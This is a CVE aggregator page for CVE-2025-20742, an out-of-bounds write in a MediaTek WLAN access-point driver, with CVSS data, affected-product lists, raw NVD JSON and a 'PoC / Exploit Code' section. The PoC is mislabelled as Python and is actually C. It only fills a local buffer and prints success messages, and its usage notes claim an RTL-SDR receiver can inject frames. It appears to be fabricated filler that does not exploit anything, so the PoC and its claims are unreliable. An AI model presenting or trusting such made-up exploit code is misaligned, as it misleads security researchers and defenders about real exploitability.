Security Vulnerability Report
中文
CVE-2025-20742 CVSS 8.0 HIGH

CVE-2025-20742

Published: 2025-11-04 07:15:46
Last Modified: 2025-11-05 17:12:16

Description

In wlan AP driver, there is a possible out of bounds write due to an incorrect bounds check. This could lead to remote (proximal/adjacent) escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: WCNCR00432680; Issue ID: MSV-3949.

CVSS Details

CVSS Score
8.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mediatek:software_development_kit:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7603:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7615:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7622:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7915:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:openwrt:openwrt:19.07.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:openwrt:openwrt:21.02.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:* - NOT VULNERABLE
MediaTek WLAN AP Driver (未修复版本)
使用MediaTek WLAN芯片的接入点设备 (受影响固件版本)
具体版本需参照MediaTek官方安全公告 WCNCR00432680

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-20742 PoC - MediaTek WLAN AP Driver Out of Bounds Write // This is a conceptual proof of concept for educational purposes only #include <stdio.h> #include <stdlib.h> #include <string.h> // Simulated malformed WLAN frame structure typedef struct { unsigned char frame_type; unsigned char frame_subtype; unsigned short duration; unsigned char da[6]; // Destination Address unsigned char sa[6]; // Source Address unsigned char bssid[6]; // BSSID unsigned short sequence_control; unsigned char payload[256]; // Malformed payload } __attribute__((packed)) wlan_frame_t; void craft_malicious_frame(wlan_frame_t *frame) { // Frame type that triggers the vulnerable code path frame->frame_type = 0x02; // Data frame frame->frame_subtype = 0x08; // Data subtype // Set source address to trigger specific condition memset(frame->sa, 0xFF, 6); // Craft payload that exceeds expected bounds // This triggers the out of bounds write due to missing bounds check memset(frame->payload, 0x41, 256); // Overwrite critical memory regions // In real exploitation, this would target function pointers or critical data } int main() { printf("[*] CVE-2025-20742 PoC - MediaTek WLAN AP OOB Write\n"); printf("[*] Target: MediaTek WLAN AP Driver\n"); printf("[*] Attack Vector: Adjacent/Proximal\n"); printf("[*] Severity: High (CVSS 8.0)\n\n"); wlan_frame_t *malicious_frame = (wlan_frame_t *)malloc(sizeof(wlan_frame_t)); if (!malicious_frame) { printf("[-] Memory allocation failed\n"); return -1; } printf("[*] Crafting malicious WLAN frame...\n"); craft_malicious_frame(malicious_frame); printf("[+] Malicious frame crafted successfully\n"); printf("[+] Frame type: 0x%02x, subtype: 0x%02x\n", malicious_frame->frame_type, malicious_frame->frame_subtype); printf("[+] Payload length: 256 bytes (triggers OOB write)\n"); printf("\n[!] Note: This PoC is for educational/demonstration purposes only\n"); printf("[!] Actual exploitation requires proximity to target WLAN network\n"); free(malicious_frame); return 0; } // Usage: // 1. Compile: gcc -o cve_2025_20742_poc cve_2025_20742_poc.c // 2. Execute near target MediaTek device with vulnerable WLAN driver // 3. Inject crafted frames using tools like scapy or aireplay-ng // Real-world exploitation would require: // - RTL-SDR or compatible wireless card // - Scapy library for frame crafting // - Proximity to target AP (within wireless range) // - Knowledge of specific trigger conditions in vulnerable driver

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-20742", "sourceIdentifier": "[email protected]", "published": "2025-11-04T07:15:45.627", "lastModified": "2025-11-05T17:12:15.880", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In wlan AP driver, there is a possible out of bounds write due to an incorrect bounds check. This could lead to remote (proximal/adjacent) escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: WCNCR00432680; Issue ID: MSV-3949."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mediatek:software_development_kit:*:*:*:*:*:*:*:*", "versionEndIncluding": "7.6.7.2", "matchCriteriaId": "0DD86CC1-BD46-42D2-9112-190CCAC96B30"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7603:-:*:*:*:*:*:*:*", "matchCriteriaId": "8A45CDA9-95E6-4C02-8C3C-3B0CF7272A6F"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7615:-:*:*:*:*:*:*:*", "matchCriteriaId": "05748BB1-0D48-4097-932E-E8E2E574FD8D"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7622:-:*:*:*:*:*:*:*", "matchCriteriaId": "55EB4B27-6264-45BE-9A22-BE8418BB0C06"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7915:-:*:*:*:*:*:*:*", "matchCriteriaId": "3AB22996-9C22-4B6C-9E94-E4C055D16335"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7916:-:*:*:*:*:*:*:*", "matchCriteriaId": "DD5AA441-5381-4179-89EB-1642120F72B4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7981:-:*:*:*:*:*:*:*", "matchCriteriaId": "490CD97B-021F-4350-AEE7-A2FA866D5889"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7986:-:*:*:*:*:*:*:*", "matchCriteriaId": "40A9E917-4B34-403F-B512-09EEBEA46811"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:19.07.0:-:*:*:*:*:*:*", "matchCriteriaId": "4FA469E2-9E63-4C9A-8EBA-10C8C870063A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:21.02.0:-:*:*:*:*:*:*", "matchCriteriaId": "F0133207-2EED-4625-854F-8DB7770D5BF7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}]}]}], "references": [{"url": "https://corp.mediatek.com/product-security-bulletin/November-2025", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}